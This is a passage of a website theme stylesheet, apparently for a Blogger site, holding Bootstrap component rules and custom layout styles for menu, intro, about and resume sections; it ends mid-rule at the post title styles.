.table-responsive > .table-bordered > tbody > tr > td:last-child, .panel > .table-bordered > tfoot > tr > td:last-child, .panel > .table-responsive > .table-bordered > tfoot > tr > td:last-child { border-right: 0; } .panel > .table-bordered > thead > tr:first-child > th, .panel > .table-responsive > .table-bordered > thead > tr:first-child > th, .panel > .table-bordered > tbody > tr:first-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > th, .panel > .table-bordered > tfoot > tr:first-child > th, .panel > .table-responsive > .table-bordered > tfoot > tr:first-child > th, .panel > .table-bordered > thead > tr:first-child > td, .panel > .table-responsive > .table-bordered > thead > tr:first-child > td, .panel > .table-bordered > tbody > tr:first-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:first-child > td, .panel > .table-bordered > tfoot > tr:first-child > td, .panel > .table-responsive > .table-bordered > tfoot > tr:first-child > td { border-top: 0; } .panel > .table-bordered > thead > tr:last-child > th, .panel > .table-responsive > .table-bordered > thead > tr:last-child > th, .panel > .table-bordered > tbody > tr:last-child > th, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > th, .panel > .table-bordered > tfoot > tr:last-child > th, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > th, .panel > .table-bordered > thead > tr:last-child > td, .panel > .table-responsive > .table-bordered > thead > tr:last-child > td, .panel > .table-bordered > tbody > tr:last-child > td, .panel > .table-responsive > .table-bordered > tbody > tr:last-child > td, .panel > .table-bordered > tfoot > tr:last-child > td, .panel > .table-responsive > .table-bordered > tfoot > tr:last-child > td { border-bottom: 0; } .panel > .table-responsive { margin-bottom: 0; border: 0; } .panel-heading { padding: 10px 15px; border-bottom: 1px solid transparent; border-top-left-radius: 3px; border-top-right-radius: 3px; } .panel-heading > .dropdown .dropdown-toggle { color: inherit; } .panel-title { margin-top: 0; margin-bottom: 0; font-size: 16px; color: inherit; } .panel-title > a { color: inherit; } .panel-footer { padding: 10px 15px; background-color: #f5f5f5; border-top: 1px solid #ddd; border-bottom-right-radius: 3px; border-bottom-left-radius: 3px; } .panel-group { margin-bottom: 20px; } .panel-group .panel { margin-bottom: 0; overflow: hidden; border-radius: 4px; } .panel-group .panel + .panel { margin-top: 5px; } .panel-group .panel-heading { border-bottom: 0; } .panel-group .panel-heading + .panel-collapse .panel-body { border-top: 1px solid #ddd; } .panel-group .panel-footer { border-top: 0; } .panel-group .panel-footer + .panel-collapse .panel-body { border-bottom: 1px solid #ddd; } .panel-default { border-color: #ddd; } .panel-default > .panel-heading { color: #333; background-color: #f5f5f5; border-color: #ddd; } .panel-default > .panel-heading + .panel-collapse .panel-body { border-top-color: #ddd; } .panel-default > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #ddd; } .panel-primary { border-color: #428bca; } .panel-primary > .panel-heading { color: #fff; background-color: #428bca; border-color: #428bca; } .panel-primary > .panel-heading + .panel-collapse .panel-body { border-top-color: #428bca; } .panel-primary > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #428bca; } .panel-success { border-color: #d6e9c6; } .panel-success > .panel-heading { color: #3c763d; background-color: #dff0d8; border-color: #d6e9c6; } .panel-success > .panel-heading + .panel-collapse .panel-body { border-top-color: #d6e9c6; } .panel-success > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #d6e9c6; } .panel-info { border-color: #bce8f1; } .panel-info > .panel-heading { color: #31708f; background-color: #d9edf7; border-color: #bce8f1; } .panel-info > .panel-heading + .panel-collapse .panel-body { border-top-color: #bce8f1; } .panel-info > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #bce8f1; } .panel-warning { border-color: #faebcc; } .panel-warning > .panel-heading { color: #8a6d3b; background-color: #fcf8e3; border-color: #faebcc; } .panel-warning > .panel-heading + .panel-collapse .panel-body { border-top-color: #faebcc; } .panel-warning > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #faebcc; } .panel-danger { border-color: #ebccd1; } .panel-danger > .panel-heading { color: #a94442; background-color: #f2dede; border-color: #ebccd1; } .panel-danger > .panel-heading + .panel-collapse .panel-body { border-top-color: #ebccd1; } .panel-danger > .panel-footer + .panel-collapse .panel-body { border-bottom-color: #ebccd1; } .well { min-height: 20px; padding: 19px; margin-bottom: 20px; background-color: #f5f5f5; border: 1px solid #e3e3e3; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); box-shadow: inset 0 1px 1px rgba(0, 0, 0, .05); } .well blockquote { border-color: #ddd; border-color: rgba(0, 0, 0, .15); } .well-lg { padding: 24px; border-radius: 6px; } .well-sm { padding: 9px; border-radius: 3px; } .close { float: right; font-size: 21px; font-weight: bold; line-height: 1; color: #000; text-shadow: 0 1px 0 #fff; filter: alpha(opacity=20); opacity: .2; } .close:hover, .close:focus { color: #000; text-decoration: none; cursor: pointer; filter: alpha(opacity=50); opacity: .5; } button.close { -webkit-appearance: none; padding: 0; cursor: pointer; background: transparent; border: 0; } .modal-open { overflow: hidden; } .modal { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1050; display: none; overflow: auto; overflow-y: scroll; -webkit-overflow-scrolling: touch; outline: 0; } .modal.fade .modal-dialog { -webkit-transition: -webkit-transform .3s ease-out; -moz-transition: -moz-transform .3s ease-out; -o-transition: -o-transform .3s ease-out; transition: transform .3s ease-out; -webkit-transform: translate(0, -25%); -ms-transform: translate(0, -25%); transform: translate(0, -25%); } .modal.in .modal-dialog { -webkit-transform: translate(0, 0); -ms-transform: translate(0, 0); transform: translate(0, 0); } .modal-dialog { position: relative; width: auto; margin: 10px; } .modal-content { position: relative; background-color: #fff; background-clip: padding-box; border: 1px solid #999; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; outline: none; -webkit-box-shadow: 0 3px 9px rgba(0, 0, 0, .5); box-shadow: 0 3px 9px rgba(0, 0, 0, .5); } .modal-backdrop { position: fixed; top: 0; right: 0; bottom: 0; left: 0; z-index: 1040; background-color: #000; } .modal-backdrop.fade { filter: alpha(opacity=0); opacity: 0; } .modal-backdrop.in { filter: alpha(opacity=50); opacity: .5; } .modal-header { min-height: 16.428571429px; padding: 15px; border-bottom: 1px solid #e5e5e5; } .modal-header .close { margin-top: -2px; } .modal-title { margin: 0; line-height: 1.428571429; } .modal-body { position: relative; padding: 20px; } .modal-footer { padding: 19px 20px 20px; margin-top: 15px; text-align: right; border-top: 1px solid #e5e5e5; } .modal-footer .btn + .btn { margin-bottom: 0; margin-left: 5px; } .modal-footer .btn-group .btn + .btn { margin-left: -1px; } .modal-footer .btn-block + .btn-block { margin-left: 0; } @media (min-width: 768px) { .modal-dialog { width: 600px; margin: 30px auto; } .modal-content { -webkit-box-shadow: 0 5px 15px rgba(0, 0, 0, .5); box-shadow: 0 5px 15px rgba(0, 0, 0, .5); } .modal-sm { width: 300px; } .modal-lg { width: 900px; } } .tooltip { position: absolute; z-index: 1030; display: block; font-size: 12px; line-height: 1.4; visibility: visible; filter: alpha(opacity=0); opacity: 0; } .tooltip.in { filter: alpha(opacity=90); opacity: .9; } .tooltip.top { padding: 5px 0; margin-top: -3px; } .tooltip.right { padding: 0 5px; margin-left: 3px; } .tooltip.bottom { padding: 5px 0; margin-top: 3px; } .tooltip.left { padding: 0 5px; margin-left: -3px; } .tooltip-inner { max-width: 200px; padding: 3px 8px; color: #fff; text-align: center; text-decoration: none; background-color: #000; border-radius: 4px; } .tooltip-arrow { position: absolute; width: 0; height: 0; border-color: transparent; border-style: solid; } .tooltip.top .tooltip-arrow { bottom: 0; left: 50%; margin-left: -5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-left .tooltip-arrow { bottom: 0; left: 5px; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.top-right .tooltip-arrow { right: 5px; bottom: 0; border-width: 5px 5px 0; border-top-color: #000; } .tooltip.right .tooltip-arrow { top: 50%; left: 0; margin-top: -5px; border-width: 5px 5px 5px 0; border-right-color: #000; } .tooltip.left .tooltip-arrow { top: 50%; right: 0; margin-top: -5px; border-width: 5px 0 5px 5px; border-left-color: #000; } .tooltip.bottom .tooltip-arrow { top: 0; left: 50%; margin-left: -5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-left .tooltip-arrow { top: 0; left: 5px; border-width: 0 5px 5px; border-bottom-color: #000; } .tooltip.bottom-right .tooltip-arrow { top: 0; right: 5px; border-width: 0 5px 5px; border-bottom-color: #000; } .popover { position: absolute; top: 0; left: 0; z-index: 1010; display: none; max-width: 276px; padding: 1px; text-align: left; white-space: normal; background-color: #fff; background-clip: padding-box; border: 1px solid #ccc; border: 1px solid rgba(0, 0, 0, .2); border-radius: 6px; -webkit-box-shadow: 0 5px 10px rgba(0, 0, 0, .2); box-shadow: 0 5px 10px rgba(0, 0, 0, .2); } .popover.top { margin-top: -10px; } .popover.right { margin-left: 10px; } .popover.bottom { margin-top: 10px; } .popover.left { margin-left: -10px; } .popover-title { padding: 8px 14px; margin: 0; font-size: 14px; font-weight: normal; line-height: 18px; background-color: #f7f7f7; border-bottom: 1px solid #ebebeb; border-radius: 5px 5px 0 0; } .popover-content { padding: 9px 14px; } .popover .arrow, .popover .arrow:after { position: absolute; display: block; width: 0; height: 0; border-color: transparent; border-style: solid; } .popover .arrow { border-width: 11px; } .popover .arrow:after { content: ""; border-width: 10px; } .popover.top .arrow { bottom: -11px; left: 50%; margin-left: -11px; border-top-color: #999; border-top-color: rgba(0, 0, 0, .25); border-bottom-width: 0; } .popover.top .arrow:after { bottom: 1px; margin-left: -10px; content: " "; border-top-color: #fff; border-bottom-width: 0; } .popover.right .arrow { top: 50%; left: -11px; margin-top: -11px; border-right-color: #999; border-right-color: rgba(0, 0, 0, .25); border-left-width: 0; } .popover.right .arrow:after { bottom: -10px; left: 1px; content: " "; border-right-color: #fff; border-left-width: 0; } .popover.bottom .arrow { top: -11px; left: 50%; margin-left: -11px; border-top-width: 0; border-bottom-color: #999; border-bottom-color: rgba(0, 0, 0, .25); } .popover.bottom .arrow:after { top: 1px; margin-left: -10px; content: " "; border-top-width: 0; border-bottom-color: #fff; } .popover.left .arrow { top: 50%; right: -11px; margin-top: -11px; border-right-width: 0; border-left-color: #999; border-left-color: rgba(0, 0, 0, .25); } .popover.left .arrow:after { right: 1px; bottom: -10px; content: " "; border-right-width: 0; border-left-color: #fff; } .carousel { position: relative; } .carousel-inner { position: relative; width: 100%; overflow: hidden; } .carousel-inner > .item { position: relative; display: none; } .carousel-inner > .item > img, .carousel-inner > .item > a > img { display: block; max-width: 100%; height: auto; line-height: 1; } .carousel-inner > .active, .carousel-inner > .next, .carousel-inner > .prev { display: block; } .carousel-inner > .active { left: 0; } .carousel-inner > .next, .carousel-inner > .prev { position: absolute; top: 0; width: 100%; } .carousel-inner > .next { left: 100%; } .carousel-inner > .prev { left: -100%; } .carousel-inner > .next.left, .carousel-inner > .prev.right { left: 0; } .carousel-inner > .active.left { left: -100%; } .carousel-inner > .active.right { left: 100%; } .carousel-control { position: absolute; top: 0; bottom: 0; left: 0; width: 15%; font-size: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); filter: alpha(opacity=50); opacity: .5; } .carousel-control.left { background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, .5) 0%), color-stop(rgba(0, 0, 0, .0001) 100%)); background-image: linear-gradient(to right, rgba(0, 0, 0, .5) 0%, rgba(0, 0, 0, .0001) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#80000000', endColorstr='#00000000', GradientType=1); background-repeat: repeat-x; } .carousel-control.right { right: 0; left: auto; background-image: -webkit-linear-gradient(left, color-stop(rgba(0, 0, 0, .0001) 0%), color-stop(rgba(0, 0, 0, .5) 100%)); background-image: linear-gradient(to right, rgba(0, 0, 0, .0001) 0%, rgba(0, 0, 0, .5) 100%); filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#00000000', endColorstr='#80000000', GradientType=1); background-repeat: repeat-x; } .carousel-control:hover, .carousel-control:focus { color: #fff; text-decoration: none; filter: alpha(opacity=90); outline: none; opacity: .9; } .carousel-control .icon-prev, .carousel-control .icon-next, .carousel-control .fa-angle-left, .carousel-control .fa-angle-right { position: absolute; top: 50%; z-index: 5; display: inline-block; font-size: 40px; } .carousel-control .icon-prev, .carousel-control .fa-angle-left { left: 50%; } .carousel-control .icon-next, .carousel-control .fa-angle-right { right: 50%; } .carousel-control .icon-prev, .carousel-control .icon-next { width: 20px; height: 20px; margin-top: -10px; margin-left: -10px; font-family: serif; } .carousel-control .icon-prev:before { content: '\2039'; } .carousel-control .icon-next:before { content: '\203a'; } .carousel-indicators { position: absolute; bottom: 45%; left: 10px; z-index: 9999; width: 60%; padding-left: 10px; text-align: center; list-style: none; } .carousel-indicators li { display: list-item; list-style-type: none; width: 10px; height: 10px; margin: 1px; text-indent: -999px; cursor: pointer; background-color: #000 \9; background-color: rgba(0, 0, 0, 0); border: 1px solid #fff; border-radius: 10px; margin-bottom: 5px; margin-top: 5px; } .carousel-indicators .active { width: 12px; height: 12px; margin: 0; background-color: #fff; margin-bottom: 5px; margin-top: 5px; } .carousel-caption { position: absolute; right: 15%; bottom: 20px; left: 15%; z-index: 10; padding-top: 20px; padding-bottom: 20px; color: #fff; text-align: center; text-shadow: 0 1px 2px rgba(0, 0, 0, .6); } .carousel-caption .btn { text-shadow: none; } @media screen and (min-width: 768px) { .carousel-control .glyphicons-chevron-left, .carousel-control .glyphicons-chevron-right, .carousel-control .icon-prev, .carousel-control .icon-next { width: 30px; height: 30px; margin-top: -15px; margin-left: -15px; font-size: 30px; } .carousel-caption { right: 20%; left: 20%; padding-bottom: 30px; } .carousel-indicators { } } .clearfix:before, .clearfix:after, .container:before, .container:after, .container-fluid:before, .container-fluid:after, .row:before, .row:after, .form-horizontal .form-group:before, .form-horizontal .form-group:after, .btn-toolbar:before, .btn-toolbar:after, .btn-group-vertical > .btn-group:before, .btn-group-vertical > .btn-group:after, .nav:before, .nav:after, .navbar:before, .navbar:after, .navbar-header:before, .navbar-header:after, .navbar-collapse:before, .navbar-collapse:after, .pager:before, .pager:after, .panel-body:before, .panel-body:after, .modal-footer:before, .modal-footer:after { display: table; content: " "; } .clearfix:after, .container:after, .container-fluid:after, .row:after, .form-horizontal .form-group:after, .btn-toolbar:after, .btn-group-vertical > .btn-group:after, .nav:after, .navbar:after, .navbar-header:after, .navbar-collapse:after, .pager:after, .panel-body:after, .modal-footer:after { clear: both; } .center-block { display: block; margin-right: auto; margin-left: auto; } .pull-right { float: right !important; } .pull-left { float: left !important; } .hide { display: none !important; } .show { display: block !important; } .invisible { visibility: hidden; } .text-hide { font: 0/0 a; color: transparent; text-shadow: none; background-color: transparent; border: 0; } .hidden { display: none !important; visibility: hidden !important; } .affix { position: fixed; } @-ms-viewport { width: device-width; } .visible-xs, tr.visible-xs, th.visible-xs, td.visible-xs { display: none !important; } @media (max-width: 767px) { .visible-xs { display: block !important; } table.visible-xs { display: table; } tr.visible-xs { display: table-row !important; } th.visible-xs, td.visible-xs { display: table-cell !important; } } .visible-sm, tr.visible-sm, th.visible-sm, td.visible-sm { display: none !important; } @media (min-width: 768px) and (max-width: 991px) { .visible-sm { display: block !important; } table.visible-sm { display: table; } tr.visible-sm { display: table-row !important; } th.visible-sm, td.visible-sm { display: table-cell !important; } } .visible-md, tr.visible-md, th.visible-md, td.visible-md { display: none !important; } @media (min-width: 992px) and (max-width: 1199px) { .visible-md { display: block !important; } table.visible-md { display: table; } tr.visible-md { display: table-row !important; } th.visible-md, td.visible-md { display: table-cell !important; } } .visible-lg, tr.visible-lg, th.visible-lg, td.visible-lg { display: none !important; } @media (min-width: 1200px) { .visible-lg { display: block !important; } table.visible-lg { display: table; } tr.visible-lg { display: table-row !important; } th.visible-lg, td.visible-lg { display: table-cell !important; } } @media (max-width: 767px) { .hidden-xs, tr.hidden-xs, th.hidden-xs, td.hidden-xs { display: none !important; } } @media (min-width: 768px) and (max-width: 991px) { .hidden-sm, tr.hidden-sm, th.hidden-sm, td.hidden-sm { display: none !important; } } @media (min-width: 992px) and (max-width: 1199px) { .hidden-md, tr.hidden-md, th.hidden-md, td.hidden-md { display: none !important; } } @media (min-width: 1200px) { .hidden-lg, tr.hidden-lg, th.hidden-lg, td.hidden-lg { display: none !important; } } .visible-print, tr.visible-print, th.visible-print, td.visible-print { display: none !important; } @media print { .visible-print { display: block !important; } table.visible-print { display: table; } tr.visible-print { display: table-row !important; } th.visible-print, td.visible-print { display: table-cell !important; } } @media print { .hidden-print, tr.hidden-print, th.hidden-print, td.hidden-print { display: none !important; } }
40html, body {
41width: 100%;
42height: 100%!important;
43}
44body {
45font-family: "Raleway",sans-serif;
46font-size: 14px;
47color: #222222;
48-webkit-font-smoothing: antialiased;
49background-color: #F5F5F5;
50}
51a {
52color: #222222;
53-webkit-transition: 0.3s;
54-moz-transition: 0.3s;
55transition: 0.3s;
56cursor: pointer;
57}
58a:hover {
59color: #1ABC9C;
60text-decoration:none;
61}
62a:focus {
63outline: none;
64color: #1ABC9C;
65}
66p {
67line-height: 24px;
68letter-spacing: 0px;
69font-size: 14px;
70color: #888;
71}
72.post-body p, .post-body h1, .post-body h2, .post-body h3, .post-body h4, .post-body h5, .post-body h6, .post-body hr {
73margin-bottom:20px;
74}
75.post-body h1, .post-body h2, .post-body h3, .post-body h4, .post-body h5, .post-body h6 {
76color:#000;
77font-weight:700;
78}
79.post-body h1 {
80font-size:30px;
81}
82.post-body h2 {
83font-size:27px;
84}
85.post-body h3 {
86font-size:24px;
87}
88.post-body h4 {
89font-size:20px;
90}
91.post-body h5 {
92font-size:18px;
93}
94.post-body h6 {
95font-size:16px;
96}
97.post-body hr {
98border:0;
99height:0;
100border-bottom:1px solid #e5e5e5;
101clear:both;
102}
103/*****************************************
104Global Links CSS
105******************************************/
106.clr{
107clear:both;
108float:none;
109}
110/*PAGE LOADER*/
111#loader {
112background: #ffffff;
113bottom: 0;
114height: 100%;
115left: 0;
116position: fixed;
117right: 0;
118top: 0;
119width: 100%;
120z-index: 9999;
121}
122#loaderInner {
123background:#ffffff url(https://lh3.googleusercontent.com/proxy/GSz1lEitY70hexZVNTG6M6FZ6FAH-mDshpM7E7DfTKjzgWC1kfwbc8ClOx0JszPUDvTaJ-pChopiZInb0tafoHo=s0-d) center center no-repeat;
124height: 60px;
125left: 50%;
126position: absolute;
127top: 50%;
128width: 60px;
129}
130/*****************************************
131Wrappers
132******************************************/
133.ct-wrapper{
134padding:0px 20px;
135position:relative;
136max-width:1230px;
137margin:0 auto;
138}
139.main-wrapper{
140width:100%;
141}
142/**** Layout Styling CSS *****/
143body#layout #loader{
144display:none;
145}
146body#layout #header, body#layout .header-right{
147width:50%;
148}
149body#layout .outer-wrapper, body#layout .ct-wrapper{
150margin:0;
151padding:0;
152}
153body#layout .footer.section{
154float:left;
155width:33%;
156}
157body#layout .editlink{
158z-index: 999999;
159}
160body#layout #footer{
161position:relative;
162z-index:99999999999999;
163}
164body#layout .introHeader{
165padding-top: 0%;
166min-height:0;
167}
168body#layout .introHeading{
169z-index: 99999999999;
170position: relative;
171}
172/*****************************************
173Other
174******************************************/
175blockquote {
176font-style: italic;
177font-size: 16px;
178margin: 2em 0;
179padding: 2.3em 1.5em;
180background: #f9f9f9;
181border-left: 15px solid #1ABC9C;
182border-radius: 5px;
183box-shadow: 11px 10px 0px #ECECEC;
184}
185pre{
186background: #444 no-repeat right;
187color: #FFFFFF;
188padding: 3.5em 3em;
189white-space: pre-wrap;
190white-space: -moz-pre-wrap;
191white-space: -pre-wrap;
192white-space: -o-pre-wrap;
193word-wrap: break-word;
194box-shadow: 11px 10px 0px #383838;
195border: 0;
196border-radius: 0;
197}
198code{
199font-family:"Courier New",monospace;
200font-size:12px;
201background:#eee;
202color:#333;
203}
204/*****************************************
205Headerbar, Navigation
206******************************************/
207.content-wrap {
208overflow-y: hidden;
209-webkit-overflow-scrolling: touch;
210}
211.content::before {
212position: fixed;
213top: 0;
214left: 0;
215z-index: 10;
216width: 100%;
217height: 100%;
218background: rgba(0,0,0,0.2);
219content: '';
220opacity: 0;
221-webkit-transition: opacity 0.3s, -webkit-transform 0s 0.3s;
222transition: opacity 0.3s, transform 0s 0.3s;
223-webkit-transform: translate3d(100%,0,0);
224transform: translate3d(100%,0,0);
225}
226/* Menu Button */
227.menu-button {
228position: fixed;
229top: 10px;
230left: 10px;
231z-index: 1000;
232padding: 0;
233width: 60px;
234height: 60px;
235font-size: 21px;
236border: 0;
237outline: 0;
238color: #ffffff;
239background: #0a0a0a;
240}
241/* Menu */
242.menu-wrap {
243position: fixed;
244z-index: 999;
245background: #0a0a0a;
246-webkit-transition: all 0.3s;
247transition: all 0.3s;
248width: 240px;
249padding: 20px 20px 10px 20px;
250text-align: left;
251top:70px;
252left: 10px;
253opacity: 0;
254display: none;
255}
256.menu {
257height: 100%;
258opacity: 0;
259color: #777777;
260text-align: left;
261}
262.menu-nav {-webkit-padding-start: 0px;-moz-padding-start:0px;}
263.menu-nav li {list-style: none;}
264.menu-nav li a {
265color: #777777;
266line-height: 40px;
267font-size: 12px;
268text-transform: uppercase;
269letter-spacing: 4px;
270padding: 5px;
271text-decoration: none;
272}
273.menu-nav li.active a {
274border-bottom: 1px solid #1ABC9C;
275color: #ffffff;
276}
277/* Shown menu */
278.show-menu .content::before {opacity: 1;}
279.show-menu .menu-wrap {opacity: 1;display: block;}
280.show-menu .menu {opacity: 1;}
281/* 3. Every Section Titles
282-------------------------------------------------*/
283.sectionTitle {
284text-align: center;
285padding-top: 75px;
286padding-bottom: 25px;
287}
288.sectionTitle h1 {
289font-family: "Montserrat",sans-serif;
290letter-spacing: 1px;
291font-size: 24px;
292font-weight: 600;
293text-transform: uppercase;
294padding-bottom: 10px;
295margin-bottom: 10px;
296}
297.sectionTitle h4 {
298font-family: "Montserrat",sans-serif;
299letter-spacing: 1px;
300font-size: 12px;
301font-weight: 400;
302text-transform: uppercase;
303padding-bottom: 0px;
304margin-bottom: 10px;
305color: #444;
306}
307.sectionTitle .separatorlinecolor {
308margin-bottom: 30px;
309}
310.sectionTitle hr{
311width: 20px;
312margin: 40px auto;
313height: 1px !important;
314color: #777;
315background-color: #777;
316}
317.separatorlinecolor {
318width: 75px;
319height: 2px;
320margin: 0 auto;
321background: #1ABC9C;
322}
323.separatorlinewhite {
324width: 100px;
325height: 2px;
326margin: 0 auto;
327background: #ffffff;
328}
329a.scroll-down {
330position: absolute;
331bottom: 9em;
332text-align: center;
333margin: 0 auto;
334display: inline-block;
335left: 48%;
336}
337a.scroll-down div {
338font-size: 30px;
339color: #1ABC9C;
340transition: .2s transform;
341}
342a.scroll-down div:hover {
343transform: scale(1.2);
344}
345/* 4. Section Intro
346-------------------------------------------------*/
347#sectionIntro {
348text-align: center;
349background-color: #1a1a1a;
350background-image: url(https://4.bp.blogspot.com/-wmiWWK2c2sc/WJgQRrF4O2I/AAAAAAAABZE/1E19a_Dp25QAJXE06ZuHp3W_FebrackYQCLcB/s1600/attackphase%2Blight.jpg);
351background-size: cover;
352background-repeat: no-repeat;
353background-position: 50% 50%;
354background-attachment: fixed;
355height: auto;
356width: 100%;
357-webkit-box-shadow: inset 0px -9px 33px -5px rgba(0,0,0,0.2);
358-moz-box-shadow: inset 0px -9px 33px -5px rgba(0,0,0,0.2);
359box-shadow: inset 0px -9px 33px -5px rgba(0,0,0,0.2);
360}
361. Container {
362padding: 0;
363}
364.introHeader {
365height: 100%;
366text-align: left;
367padding-left:0;
368padding-top: 25%;
369min-height: 700px;
370}
371.introContent {
372text-align: center;
373}
374.introHeading h1 {
375color: #eee;
376font-family: "Montserrat",sans-serif;
377font-size: 60px;
378font-weight: 200;
379letter-spacing: 1px;
380text-transform: uppercase;
381padding-bottom: 0px;
382line-height: 75px;
383margin-bottom: 0;
384position: relative;
385display: inline-block;
386}
387.introHeading h1 a{color:#fff; text-decoration: none;}
388.introHeading h1:before{
389content: '';
390display: inline-block;
391position: absolute;
392left: 0;
393bottom: 0;
394height: 5px;
395width: 0;
396transition: width 0s ease, background .2s ease;
397}
398.introHeading h1:after{
399content: '';
400display: inline-block;
401position: absolute;
402right: 0;
403bottom: 0;
404height: 5px;
405width: 0;
406background: #fff;
407transition: width .2s ease;
408}
409.introHeading h1:hover:before {
410width: 100%;
411background: #fff;
412transition: width .5s ease;
413}
414.introHeading h1:hover:after{
415width: 100%;
416background: transparent;
417transition: all 0s ease;
418}
419.description {
420display: table;
421margin: 0 auto;
422font-size: 12px;
423font-weight: 300;
424letter-spacing: 3px;
425color: #ffffff;
426padding: 15px;
427background: transparent;
428text-transform: uppercase;
429}
430.connect-icons{
431list-style-type: none;
432text-align: center;
433margin: 0;
434padding:0;
435padding-top:45px;
436}
437.connect-icons li{
438position: relative;
439display: inline-block;
440text-align: center;
441width: 52px;
442font-size: 1.6em;
443margin: 0 6px;
444}
445.connect-icons li:nth-child(1){
446margin-left: 0;
447}
448.connect-icons li:nth-child(4){
449margin-right: 0;
450}
451.connect-icons li > a{
452text-decoration: none;
453width: 54px;
454display: inline-block;
455text-align: center;
456color: #fff;
457line-height: 2.5;
458border-radius: 40px;
459background: rgba(0, 0, 0, 0.37);
460}
461.connect-icons li > a, .connect-icons li > a:visited{
462display: inline-block;
463min-width: 40px;
464}
465.connect-icons li > a:hover{
466color: #fff;
467text-shadow:none;
468-webkit-transition: all 0.2s; /* For Safari 3.1 to 6.0 */
469transition: all 0.2s;
470-ms-transform: scale(1.1,1.1); /* IE 9 */
471-webkit-transform: scale(1.1,1.1); /* Chrome, Safari, Opera */
472transform: scale(1.1,1.1);
473}
474.connect-icons li > a:active {
475-ms-transform: scale(0.9,0.9); /* IE 9 */
476-webkit-transform: scale(0.9,0.9); /* Chrome, Safari, Opera */
477transform: scale(0.9,0.9);
478}
479.connect-icons li > [class*="text-"] {
480display: inline-block;
481color: white;
482font-size: 12px;
483font-weight: 300;
484-webkit-transition: all 0.2s;
485transition: all 0.2s;
486opacity: 0;
487margin-top: 20px;
488font-family: "Montserrat",sans-serif;
489text-align: center;
490}
491.connect-icons li > [class*="text-"].show{
492opacity: 1;
493-ms-transform: translateY(-12px); /* IE 9 */
494-webkit-transform: translateY(-12px); /* Chrome, Safari, Opera */
495transform: translateY(-12px);
496}
497.connect-box {
498-webkit-transition: all .2s ease-out;
499-moz-transition: all .2s ease-out;
500-ms-transition: all .2s ease-out;
501-o-transition: all .2s ease-out;
502transition: all .2s ease-out;
503}
504.connect-icons .twitter:hover{
505background: #00ACED;
506}
507.connect-icons .facebook:hover{
508background: #3b5998;
509}
510.connect-icons .gplus:hover{
511background: #dd4b39;
512}
513.connect-icons .instagram:hover{
514background: #3f729b;
515}
516.connect-icons .youtube:hover{
517background: #b31217;
518}
519/* 5. Section About
520-------------------------------------------------*/
521#sectionAbout {
522background: #FAFAFA;
523padding-bottom: 75px;
524}
525.aboutMe {
526padding: 10px 40px;
527}
528.aboutMe h1 {
529letter-spacing: 3px;
530font-size: 10px;
531font-weight: 400;
532text-transform: uppercase;
533text-align: center;
534color: #777;
535padding-bottom: 30px;
536}
537.textBlue {
538color: #1ABC9C;
539}
540.aboutProfile {
541text-align: center;
542}
543.profileAv {
544border-radius: 50%;
545-webkit-border-radius:50%;
546width: 220px;
547height: 220px;
548}
549.aboutInfo h3 {
550margin-top: 0px;
551color: #444;
552font-family: "Montserrat",sans-serif;
553text-transform: uppercase;
554font-size: 13px;
555font-weight: 400;
556margin-bottom: 15px;
557letter-spacing: 3px;
558}
559.profileInfo {
560padding-top: 14px;
561padding-bottom: 12px;
562}
563.aboutInfo h5 {
564color: #888;
565text-transform: none;
566font-size: 14px;
567letter-spacing: 0px;
568line-height: 20px;
569}
570.infoSocial li {
571display: inline;
572font-size: 16px;
573margin-left: 6px;
574margin-right: 6px;
575list-style: outside none none;
576}
577.infoSocial ul {
578padding: 0px;
579}
580.infoSocial a {
581color: #1ABC9C;
582}
583.infoSocial a:hover {
584color: #5FD0BA;
585}
586/* 6. Section Resume
587-------------------------------------------------*/
588#sectionResume {
589background: #ffffff;
590min-height: 600px;
591}
592#sectionResume h2 {
593font-family: "Montserrat",sans-serif;
594font-size: 16px;
595text-transform: uppercase;
596letter-spacing: 1px;
597font-weight: 400;
598margin-bottom: 30px;
599}
600.resumeLeft span, .resumeRight span {
601font-size: 40px;
602}
603.resumeLeft {
604text-align: right;
605border-right: 1px solid #eee;
606}
607.resumeRight {
608text-align: left;
609}
610.resumeList {
611-webkit-padding-start: 0px;
612-moz-padding-start:0px;
613padding: 0 10px;
614}
615.resumeList li{
616list-style: none;
617margin-top: 40px;
618margin-bottom: 60px;
619}
620.resumeList li h4 {
621font-size: 14px;
622text-transform: uppercase;
623letter-spacing: 1px;
624font-family: "Montserrat",sans-serif;
625margin-bottom: 12px;
626}
627.resumeName {
628color: #666;
629font-size: 12px;
630text-transform: lowercase;
631}
632.resumeList p {
633font-size: 14px;
634font-weight: 300;
635color: #888;
636font-family: inherit;
637font-style: italic;
638}
639.resumePeriod {
640background: #1ABC9C;
641color: #fff;
642padding: 2px 5px;
643font-family: "Montserrat",sans-serif;
644font-size: 12px;
645font-style: italic;
646border-radius: 4px;
647}
648.resumeStats {
649margin-top: 25px;
650text-align: center;
651}
652.resumeStats span {
653font-size: 38px;
654}
655.resumeStats .col-md-2 {
656padding: 50px;
657border-left: 1px solid #eee;
658border-top: 1px solid #eee;
659}
660.statsIconPerc {
661font-size: 50px;
662font-weight: 500;
663letter-spacing: 1px;
664font-family: "Montserrat",sans-serif;
665}
666.statsName {
667font-family: "Montserrat",sans-serif;
668text-transform: uppercase;
669font-size: 14px;
670font-weight: 400;
671letter-spacing: 1px;
672}
673/*****************************************
674Blog Post CSS
675******************************************/
676.post{
677margin:20px 0 0;
678padding:0 3% 20px;
679}
680.post-title{
